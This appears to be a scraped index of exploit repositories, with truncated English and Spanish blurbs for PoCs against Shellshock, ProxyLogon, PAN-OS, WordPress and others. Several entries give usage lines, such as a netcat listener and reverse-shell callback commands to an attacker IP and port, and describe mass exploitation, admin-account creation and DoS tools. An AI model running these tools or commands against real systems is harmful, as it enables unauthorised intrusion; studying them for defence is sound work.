CVE-2014-6271

CVE-2014-6271 python2.7 Start listening on your machine. nc -l -p 4444 Run python script by the rule below: python shellpoc.py python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 Enjoy...

CVE-2022-40684

CVE-2022-40684 Enumerar todos los nombres de usuario y escribir la clave pública SSH en un solo clic Integra y optimiza el código de estos dos repositorios para lograr el resultado de enumerar todos los nombres de usuario y escribir la clave pública SSH en un solo clic:...

Awesome-CVE-2020-0601

Increíble-CVE-2020-0601 ✔ 😂 Una increíble lista curada de repositorios para CVE-2020-0601. PoC Ruby ollypwn/CVE-2020-0601 https://github.com/ollypwn/cve-2020-0601 Python kudelskisecurity/chainoffools https://github.com/kudelskisecurity/chainoffools Python saleemrashid/badecparams...

CVE-2023-24078

Descripción Este script es un exploit de Prueba de Concepto PoC que desarrollé para CVE-2023-24078. Después de probar los PoC disponibles públicamente que no eran funcionales y de enfrentarme a la frustración de intentar solucionarlos, simplemente creé mi propio script. Uso usage: python3...

CVE-2024-9474

CVE-2024-9474 PoC para la vulnerabilidad de Palo Alto PAN-OS Requisitos No se requieren requisitos especiales, solo python3 y la biblioteca estándar Uso python3 cve.py --help python3 cve.py -u URL Créditos https://github.com/Chocapikk/CVE-2024-9474...

CVE-2024-28397-command-execution-poc

CVE-2024-28397-command-execution-poc This vulnerability arises from incomplete sandboxing in js2py, where crafted JavaScript can traverse Python’s internal object model and access dangerous classes like subprocess.Popen, leading to arbitrary command execution. JSON-Parsers & RCE Exploit PoC...

test_cve-2023-46747

Python script to test if a F5 BIG-IP is vulnerable for CVE-2023-46747. When vulnerable a user account with administrator rights is added. To mitigate this vulnerability, see: https://my.f5.com/manage/s/article/K000137353...

OracleOTM

OracleOTM Herramienta en Python para explotar CVE-2021-35616 El script funciona por módulos, los cuales implementé en el siguiente orden: ► Enumeración de nombres de usuario ► Búsqueda de credenciales por defecto ► Ejecución de una consulta SQL usando el servlet DBXML ► Explotación completa y...

CVE-2023-42819

CVE-2023-42819 CVE-2023-42819 Descripción de la vulnerabilidad Vulnerabilidad de escritura arbitraria de archivos en JumpServer CVE-2023-42819 + CVE-2023-42820 = GetShell USO 1. Coloque el script y los archivos necesarios en el mismo directorio 2. Asegúrese de que Google Chrome esté instalado y...

poc-cve-2024-23334

poc-cve-2024-23334 Este repositorio contiene una prueba de concepto sobre la explotación de la librería aiohttp para la vulnerabilidad reportada CVE-2024-23334. Esto fue creado por dos razones: 1. Fines educativos: para aquellos que están empezando en seguridad de aplicaciones, es útil ver los...

CVE-2019-9053-exploit

CVE-2019-9053-exploit exploit funcional para CVE-2019-9053 Edité el exploit original y ahora funciona bien. El exploit original tenía algunos problemas como sintaxis faltante. Uso: Ejemplo de uso sin descifrar contraseña: exploit.py -u http://target-uri Ejemplo de uso con descifrado de contraseña...

CVE-2018-8174_EXP

CVE-2018-8174EXP usage: CVE-2018-8174.py -h -u URL -o OUTPUT -i IP -p PORT Exploit para CVE-2018-8174 argumentos opcionales: -h, --help muestra este mensaje de ayuda y sale -u URL, --url URL url del exploit -o OUTPUT, --output OUTPUT Archivo rtf de salida del exploit -i IP, --ip IP ip para netcat...

React2Shell

🔐 React2Shell - Kit de RCE por Polución RSC de Next.js Este toolkit en Python explota la polución de prototipos de los React Server Components RSC de Next.js + la cadena de gadgets React.lazy-1 para obtener acceso completo de RCE, incluyendo un shell interactivo 'god shell', subida de archivos...

CVE-2025-31324

Información ░█▄█░█▀█░█░█░█░█░█░█░▀█▀░█▀█░█▀█░█▀▄░█░█ ░█░█░█▀▀░█░█░█░█░█▄█░░█░░█░█░█░█░█▀▄░░█░ ░▀░▀░▀░░░▀▀▀░▀▀▀░▀░▀░▀▀▀░▀░▀░▀░▀░▀░▀░░▀░ N U L L T R A C E // NullTrace :: Sin registros. Sin ruido. Solo señal. // ----- FIRMA ----- Clave: ssh-rsa AAAAB3...NullKey...KFA== Huella:...

CVE-2024-27956

Wordpress SQLI-2-RCE Exploit Este script de Python explota CVE-2024-27956, una vulnerabilidad en Wordpress que permite inyección SQL que lleva a ejecución remota de código RCE. Características Explotación multi-hilo: Utiliza hilos concurrentes para explotar múltiples instancias de Wordpress...

CVE-2022-23935

CVE-2022-23935 🐍 Exploit en Python para CVE-2022-23935 Generador de payloads de shell inversa por etapas para CVE-2022-23935 Ejemplo cve-2022-23935 10.10.16.3 44444 Uso usage: cve-2022-23935 -h -l SERVERPORT -s SHELL ip port positional arguments: ip IP Address/Host for Callback port Port Number f...

CVE-2017-8056

CVE-2017-8056 CVE-2017-8056 XML-RPC Exploit DoS ⭐ PARA LINUX : sudo apt-get update sudo apt-get install python3 sudp apt-get install python3-pip pip3 install colorama fakeuseragent pystyle 🧨 EJECUTAR HERRAMIENTA : python3 main.py ⭐ PARA WINDOWS : Descargar & Instalar Python3 :...

CVE-2024-6387-exploit

SSH Vulnerability Scanner The SSH Vulnerability Scanner is a Python script that uses Nmap to scan a list of domains for vulnerable SSH versions. It checks multiple ports for SSH services and identifies versions that are known to have security vulnerabilities. Features Scans multiple domains from ...

ProxyLogon-CVE-2021-26855

ProxyLogon-CVE-2021-26855 Exploit de RCE para la vulnerabilidad ProxyLogon en Microsoft Exchange Funciona con Python 3.9 Uso: python proxylogonrce.py target email command Ejemplo: python proxylogonrce.py 192.168.227.137 [email protected] whoami Todo el crédito es para DEVCORE, basado en...

CVE-2023-29923

CVE-2023-29923 1. Prepare un url.txt, por ejemplo: 2. Ejecute python CVE-2023-29923.py -f url.txt 3. Los activos detectados con vulnerabilidad de falta de autorización se guardarán en el archivo result.txt en el mismo directorio...